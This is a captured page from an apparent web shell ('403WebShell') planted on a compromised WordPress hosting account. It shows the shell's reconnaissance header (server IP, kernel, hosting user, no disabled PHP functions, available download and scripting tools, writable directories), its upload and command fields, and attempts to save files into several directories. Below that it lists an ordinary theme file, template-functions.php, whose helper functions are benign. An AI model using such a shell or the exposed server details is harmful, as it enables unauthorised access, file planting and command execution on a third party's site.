Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.6.9
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/themes/gerold/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/themes/gerold/inc/template-functions.php
<?php

/**
 * Functions which enhance the theme by hooking into WordPress
 *
 * @package Gerold_Theme
 * @since Gerold 1.0.0
 * @author ThemeJunction 
 */


/** ---------------------------------------------------------------
 * Get All Types Post
 *---------------------------------------------------------------*/
if (!function_exists('gerold_get_all_types_post')) {
	function gerold_get_all_types_post($post_type) {

		$posts_args = get_posts(array(
			'post_type'      => $post_type,
			'orderby'        => 'date',
			'order'          => 'DESC',
			'post_status'    => 'publish',
			'posts_per_page' => -1,
		));

		$posts = [];

		if (!empty($posts_args) && !is_wp_error($posts_args)) {
			foreach ($posts_args as $post) {
				$posts[$post->ID] = $post->post_title;
			}
		}

		return $posts;
	}
}

/**
 * ---------------------------------------------------------------------------------------
 * Get all tags
 * ---------------------------------------------------------------------------------------
 */
if (!function_exists('gerold_get_tag')) {
	function gerold_get_tag() {
		$html = '';
		if (has_tag()) {
			$html .= '<div class="tj_tag">';
			$html .= '<h4 class="tag__title">' . esc_html__('Tags : ', 'gerold') . '</h4>';
			$html .= '<div class="tagcloud">';
			$html .= get_the_tag_list('', ' ', '');
			$html .= '</div></div>';
		}
		return $html;
	}
}

/**
 * ---------------------------------------------------------------------------------------
 * Get all category
 * ---------------------------------------------------------------------------------------
 */
if (!function_exists('gerold_get_category')) {
	function gerold_get_category() {

		$categories = get_the_category(get_the_ID());
		$x = 0;
		foreach ($categories as $category) {

			if ($x == 2) {
				break;
			}
			$x++;
			print '<a class="post__category" href="' . get_category_link($category->term_id) . '">' . $category->cat_name . '</a>';
		}
	}
}

/**
 * ---------------------------------------------------------------------------------------
 * Gerold Image Alt Text
 * ---------------------------------------------------------------------------------------
 */
if (!function_exists('gerold_img_alt_text')) {
	function gerold_img_alt_text($img_er_id = null) {
		$image_id = $img_er_id;
		$image_alt = get_post_meta($image_id, '_wp_attachment_image_alt', false);
		$image_title = get_the_title($image_id);

		if (!empty($image_id)) {
			if ($image_alt) {
				$alt_text = get_post_meta($image_id, '_wp_attachment_image_alt', false);
			} else {
				$alt_text = $image_title;
			}
		} else {
			$alt_text = esc_html__('Image Alt Text', 'gerold');
		}

		return $alt_text;
	}
}

/**
 * ---------------------------------------------------------------------------------------
 * Services Sidebar Function
 * ---------------------------------------------------------------------------------------
 */
function gerold_service_sidebar() {
	if (is_active_sidebar('services-sidebar')) {

		dynamic_sidebar('services-sidebar');
	}
}
add_action('gerold_service_sidebar', 'gerold_service_sidebar', 20);

/**
 * ---------------------------------------------------------------------------------------
 * Add a pingback url auto-discovery header for single posts, pages, or attachments.
 * ---------------------------------------------------------------------------------------
 */
function gerold_pingback_header() {
	if (is_singular() && pings_open()) {
		printf('<link rel="pingback" href="%s">', esc_url(get_bloginfo('pingback_url')));
	}
}
add_action('wp_head', 'gerold_pingback_header');

Youez - 2016 - github.com/yon3zu
LinuXploit